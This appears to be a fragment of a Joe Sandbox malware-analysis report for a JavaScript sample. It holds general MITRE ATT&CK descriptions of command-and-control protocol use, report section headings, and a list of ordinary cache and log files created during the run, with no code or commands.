Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18444172742706830592.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47f510d9-f3f6-44d2-9edd-ca80a565adee.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF456bf9.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a106fa81-f888-478c-8f87-73fde90970f1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5568

Windows Analysis Report
18444172742706830592.js